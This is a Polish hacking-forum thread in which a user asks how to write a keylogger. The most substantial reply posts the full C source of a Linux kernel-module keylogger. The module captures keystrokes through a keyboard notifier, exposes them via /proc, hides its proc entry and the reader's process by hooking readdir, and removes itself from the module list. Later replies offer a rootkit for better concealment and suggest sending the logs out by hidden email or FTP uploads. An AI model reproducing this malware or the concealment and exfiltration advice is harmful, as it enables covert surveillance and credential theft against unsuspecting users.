Strona 1 z 3 123 OstatniOstatni
Pokaż wyniki 1 do 10 z 22

Temat: [POMOCY] Keylogger w Bashu??

  1. #1
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Question [POMOCY] Keylogger w Bashu??

    Chciałbym się dowiedzieć, czy budowa keyloggera w skrypcie bash'a jest oplacalna i możliwie prosta. Jeśli nie, to proszę, polećcie mi dobry język do napisania keyloggera, z góry dziękuję i pozdrawiam,
    Teddy

  2. #2
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    Keylogger w Bashu... tego jeszcze nie było

  3. #3
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    Hah czyli jest wyzwanie nie no nie bedzie keyloggera ale postaram sie zrobic cos rownie (lub bardziej ;D) ambitnego ;D Michal mozna liczyc na twoja pomoc jak co?

  4. #4
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Trzeba w formie modulu jadra napisac. Bylow ktoryms numerze hakin9 opisane. Jak cos wrzucam kod zrodlowy. Nie bede opisywal, bo nie mam czasu. Nie opisze tez jego uzycia, bo znowu przybedzie na swiecie script kiddies i idiotow cieszacych sie, ze "maja keyloggera na linuksa" O_O Nie mowie o tobie, ale to jest forum publiczne, wiec 10000000 innych ludzi przeczyta ten temat i na pewno ktos skorzysta. A tak, to dziecko popatrzy, pomysli "O_O czemu sie nie da skompilowac przez gcc -o keylogger keylogger.c?" i sie zniecheci.
    O! Chociaz w sumie niedawno napisalem artykulik, w ktorym jest informacja o kompilowaniu modulow jadra i mozna tez wyciagnac pare informacji o tym jak dziala ten keylogger. Jest po angielsku, wiec tu tez sie dzieci zniechceca, bo angielskiego nie znaja
    Linux Kernel Modules Programming Tutorial
    Kod:
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/keyboard.h>
    #include <linux/notifier.h>
    #include <linux/slab.h>
    #include <linux/proc_fs.h>
    #include <linux/sched.h>
    
    MODULE_LICENSE("GPL") ;
    
    static void buffer_init(void) ;
    static void procfs_init(void) ;
    static void handler_init(void) ;
    static void all_clean(void) ;
    static void module_hide(void) ;
    
    static int __init keylogger_init(void) 
    {
    
    	buffer_init() ;
    	procfs_init() ;
    	handler_init() ;
    	module_hide() ;
    
    	return 0 ;
    
    }
    
    static void __exit keylogger_exit(void)
    {
    
    	all_clean() ;
    
    }
    
    
    module_init(keylogger_init) ;
    module_exit(keylogger_exit) ;
    
    /******* DEFINICJE FUNKCJI BUFORA ****/
    
    #define BUFFER_SIZE 65535
    
    static char* buffer ;
    static int buffer_pos ;
    
    static void buffer_init(void)
    {
    
    	buffer = kmalloc(BUFFER_SIZE, GFP_KERNEL) ;
    	buffer_pos = 0 ;
    	
    	return ;
    
    }
    
    static void buffer_shift(size_t len) 
    {
    
    	if(!len)
    		return ;
    	if(len < buffer_pos)
    	{
    
    		memcpy(buffer, buffer + len, buffer_pos - len) ;
    		buffer_pos -= len ;
    	
    	}
    
    	else
    		buffer_pos = 0 ;
    
    }
    
    static void buffer_log(char *ptr, size_t len)
    {
    
    	if(BUFFER_SIZE < len)
    		return ;
    	if(BUFFER_SIZE - buffer_pos < len)
    		buffer_shift(len) ;
    
    	memcpy(buffer + buffer_pos, ptr, len) ;
    
    	buffer_pos += len ;
    
    }
    
    /*********** KONIEC DEFINICJI FUNKCJI BUFORA *****/
    
    /******** KLAWIATURA *******/
    
    struct keydesc
    {
    
    	unsigned char key ;
    	char *symbol ;
    
    } ;
    
    struct keydesc kd_normal[] =
    {
    
    	{ 0x1c, "[PRTSCR]" } ,
    	{ 0x1b, "[ESC]" } ,
    	{ 0x7f, "[BCKSPC]" } ,
    	{ 0x09, "[TAB" } ,
    	{ 0, NULL } ,
    
    } ;
    
    struct keydesc kd_fn[] =
    {
    
    	{ 0x16, "[DEL]" } ,
    	{ 0x15, "[INS]" } ,
    	{ 0x14, "[HOME]" } ,
    	{ 0x17, "[END]" } ,
    	{ 0x18, "[PGUP]" } ,
    	{ 0x19, "[PGDN]" } ,
    	{ 0x10, "[PAUSE]" } ,
    	{ 0, NULL } ,
    
    } ;
    
    struct keydesc kd_spec[] =
    {
    
    	{ 0x01, "[RET]" } ,
    	{ 0, NULL } ,
    
    } ;
    
    struct keydesc kd_pad[] =
    {
    
    	{ 0x0a, "+" } ,
    	{ 0x0b, "-" } ,
    	{ 0x0c, "*" } ,
    	{ 0x0d, "/" } ,
    	{ 0x10, "[NUMDEL]" } ,
    	{ 0, NULL } ,
    
    } ;
    
    struct keydesc kd_cur[] =
    {
    
    	{ 0x00, "[DOWN]" } ,
    	{ 0x01, "[LEFT]" } ,
    	{ 0x02, "[RIGHT]" } ,
    	{ 0x03, "[UP]" } ,
    	{ 0, NULL } ,
    
    } ;
    
    static void handle(struct keydesc *kd, unsigned char key, int print)
    {
    
    	while(kd->symbol)
    	{
    
    		if(kd->key == key)
    			break ;
    		kd++ ;
    	
    	}
    
    	if(!kd->symbol)
    	{
    
    		if(print)
    			buffer_log(&key, 1) ;
    		return ;
    
    	}
    
    	buffer_log(kd->symbol, strlen(kd->symbol)) ;
    
    }
    
    static void handle_fn(unsigned char key) 
    {
    
    	/* Symbole 0-11 oznaczaja F1-F12 */
    	if(key < 12)
    	{
    
    		char buf[6] ;
    		sprintf(buf, "[F%i]", key + 1) ;
    		buffer_log(buf, strlen(buf)) ;
    
    	}
    
    	else
    	{
    	
    		handle(kd_fn, key, 0) ;
    
    	}
    }
    
    static void handle_pad(unsigned char key)
    {
    
    	/* Symbole 0-9 oznaczaja cyfry na klaw. numerycznej */
    	if(key < 10)
    	{
    
    	char buf[7] ;
    	
    	sprintf(buf, "[NUM%i]", key) ;
    	buffer_log(buf, 6) ;
    
    	}
    
    	else
    	{
    
    		handle(kd_pad, key, 0) ;
    
    	}
    
    }
    
    static int kbd_notify(struct notifier_block *self, unsigned long stage, void *data)
    {
    
    	struct keyboard_notifier_param *param = data ;
    	unsigned char type, value ;
    	
    	/* Przetwarzamy tylko w fazie KBD_KEYSYM */
    	if(stage != KBD_KEYSYM || !param->down)
    		return NOTIFY_DONE ;
    	/* Typ oraz symbol klawisza */
    	param->value -= 0xf000 ;
    	type = KTYP(param->value) ;
    	value = KVAL(param->value) ;
    
    	/* Tlumaczanie! */
    	switch(type)
    	{
    	case KT_LATIN:
    	case KT_LETTER:
    		handle(kd_normal, value, 1) ;
    		break ;
    	case KT_FN:
    		handle_fn(value) ;
    		break ;
    	case KT_SPEC:
    		handle(kd_spec, value, 0) ;
    		break ;
    	case KT_PAD:
    		handle_pad(value) ;
    		break ;
    	case KT_CUR:
    		handle(kd_cur, value, 0) ;
    		break ;
    
    	}
    
    	return NOTIFY_DONE ;
    
    }
    
    static struct notifier_block kbd_nb = { .notifier_call = kbd_notify, } ;
    
    static void handler_init()
    {
    
    	register_keyboard_notifier(&kbd_nb) ;
    
    }
    
    /***** SPRAWY ZWIAZANE Z KATALOGIEM PROC **********/
    
    static int (*old_proc_readdir)(struct file *, void *, filldir_t) ;
    static filldir_t old_filldir ;
    static char pid[32] ;
    
    static int buffer_read(char *buf, char **start, off_t off, int count, int *peof, void *data)
    {
    
    	int len = min(buffer_pos, count) ;
    
    	snprintf(pid, sizeof(pid), "%i", current->pid) ;
    	memcpy(buf + off, buffer, len) ;
    	buffer_shift(len) ;
    
    	return len ;
    
    }
    
    
    static int new_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type)
    {
    
    	if(strcmp(name, "keylogger") == 0 || strncmp(pid, name, sizeof(pid)) == 0)
    		return 0 ;
    	return old_filldir(__buf, name, namelen, offset, ino, d_type) ;
    
    }
    
    static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
    {
    
    	old_filldir = filldir ;
    	return old_proc_readdir(filp, dirent, new_filldir) ;
    
    }
    
    
    static struct proc_dir_entry *de ;
    static struct file_operations *fops ;
    
    
    static void procfs_init(void)
    {
    
    	pid[0] = 0 ;
    
    	de = create_proc_read_entry("keylogger", 0644, NULL, buffer_read, NULL) ;
    
    	de = de->parent ;
    	fops = (struct file_operations *)de->proc_fops ;
    	old_proc_readdir = fops->readdir ;
    	fops->readdir = new_proc_readdir ;	
    
    }
    
    static void module_hide(void)
    {
    
    	list_del(&THIS_MODULE->list) ;
    
    }
    
    static void all_clean(void)
    {
    
    	remove_proc_entry("keylogger", NULL) ;
    	unregister_keyboard_notifier(&kbd_nb) ;
    	fops->readdir = old_proc_readdir ;
    
    }
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  5. #5
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    Tyle że w Bashu to niemożliwe kolega @up dobrze napisał i praktycznie nic nie mogę dodać

  6. #6
    Avatar Teddy
    Teddy jest offline Banned
    Zarejestrowany
    Feb 2009
    Skąd
    W 413 linii kodu ;]
    Postów
    85

    Domyślnie

    @2x up
    Dzięki ormi za odpowiedź, a mogę trochę edytować ten twój kod I rozumiem twoją niechęć do script kiddies, ostatnio mnie kumpel prosił o kod keyloggera w delphi, dalem mu i po tygodniu mi go przeslal<haha> sorki za offtop ale nie moglem sie powstrzymac xP

  7. #7
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Hehe, to nie jest moj kod, tylko kodzik ze wspomnianego artykulu z hakin9 Chociaz szczerze mowiac nie dam glowy czy czegos tam nie zmodyfikowalem
    Ale i tak nie ma znaczenia, czy to moj kod, czy nie - tak czy inaczej na pewno mozesz modyfikowac. A nawet gdybys nie mogl, to i tak bys mogl Przeciez chyba nie bedzie ci policja robic kontroli i sprawdzac czy przypadkiem nie edytowales kodu jakiegos pseudo-keyloggera, ktory bynajmniej keyloggerem z prawdziwego zdarzenia nie jest. Po pierwsze stosuje bardzo prymitywny zabieg ukrywania sie - tylko usuwa sie z jednej z list modulow. Jednak wciaz jest widoczny w /sys/module. Do tego jego metoda ukrycia "pliku" z przechwyconymi nacisnietymi klawiszami tez jest niezbyt skuteczna - wystarczy bardzo proste przeszukiwanie zawartosci proc poprzez odpowiedni modul jadra, zeby wykryc ten plik. Jakis czas temu napisalem dosc prostego rootkita, ktory stosuje duzo bardziej skuteczne metody ukrycia sie, wiec jesli chcesz, to moge ci podrzucic fragmencik odpowiedzialny za ukrycie modulu. Ewentualnie calego rootkita - wedle zyczenia
    Ostatnio edytowane przez Ormi : 06-23-2009 - 21:14
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  8. #8
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    Ukrycie tego pliku z przechwyconymi klawiszami to mały problem. Wystarczy przy bootowaniu uruchamiać skrypt pythona ,który wyśle ci go na maila/ftp potem usunie i tyle. (Oczywiscie skrypt pythona nie powinien znajdować się w /home/user/ eheh też trzeba sprawić żeby był lekko niewidzialny)

  9. #9
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    ...


    Az mnie zatkalo... To sie nazywa "zacieranie sladow"... O_O Jasne, a porzadny administrator na pewno nie zauwazy tego odpalonego skryptu, nie wykryje podejrzanego ruchu sieciowego... Oh yeah! Welcome to the world of the best black hats ever!

    Hmm... W sumie to mysle, ze dobrze by bylo wprowadzic do tego taki "feature" - gdy keylogger sie "zainstaluje" wysle administratorowi zainfekowanego komputera maila "Uwaga, uwaga, w twoim komputerze zainstlowal sie Keylogger by The Best Black Hats Ever. Przepraszamy, ale jestesmy zbyt glupi, zeby napisac keyloggera, ktory bedzie sie ukrywal w systemie. W zwiazku z tym uprzejmie prosimy, abys udawal, ze nic nie zauwazyles nawet jesli zobaczysz wyrazne slady dzialalnosci naszego keyloggera.

    Dziekujemy za wspolprace,
    The Best Black Hats Ever".
    Tak, to jest bardzo dobry pomysl
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  10. #10
    Avatar Michal_sh
    Michal_sh jest offline (s)aint
    Zarejestrowany
    Apr 2007
    Postów
    688

    Domyślnie

    Oj chyba jeszcze raz cię zatka. Proces skryptu wysyłającego logi można ukryć za pomocą modułu jądra(nawet w głupiej Szkole hackerów o tym było). Dlaczego wysyłanie maila lub upload na ftp? Jakoś musisz otrzymać ten plik za każdym razem będziesz się wbijał na zianfekowny komputer zostawiając swoją obezność w logach ewentualnie podejdziesz do admina z pendrivem "ejjj sorki ja tu mam taki pliczek nagrasz mi" ?
    Ukryć podejrzany ruch sieciowy ( wysyłanie maili czy ftp jest raczej mniej podejrzane niż ruch na jakimś wysokim porcie ) poczytaj http://cc-team.org/index.php?name=artykuly&show=82 .
    Ostatnio edytowane przez Michal_sh : 06-24-2009 - 12:47

Strona 1 z 3 123 OstatniOstatni

Podobne wątki

  1. [POMOCY] Potrzebuje pomocy z kodem VBS
    By Teddy in forum Newbie - dla początkujących!
    Odpowiedzi: 6
    Autor: 03-16-2009, 17:02
  2. Keylogger...
    By Mrozonka in forum /dev/null
    Odpowiedzi: 4
    Autor: 08-18-2008, 20:48
  3. KeyLogger
    By maciek in forum Wirusy/Konie trojańskie
    Odpowiedzi: 16
    Autor: 05-07-2008, 17:48
  4. Keylogger
    By Nathaniel in forum Newbie - dla początkujących!
    Odpowiedzi: 7
    Autor: 01-25-2008, 02:24
  5. KeyLogger...
    By Purpen in forum Wirusy/Konie trojańskie
    Odpowiedzi: 7
    Autor: 01-05-2008, 14:45

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj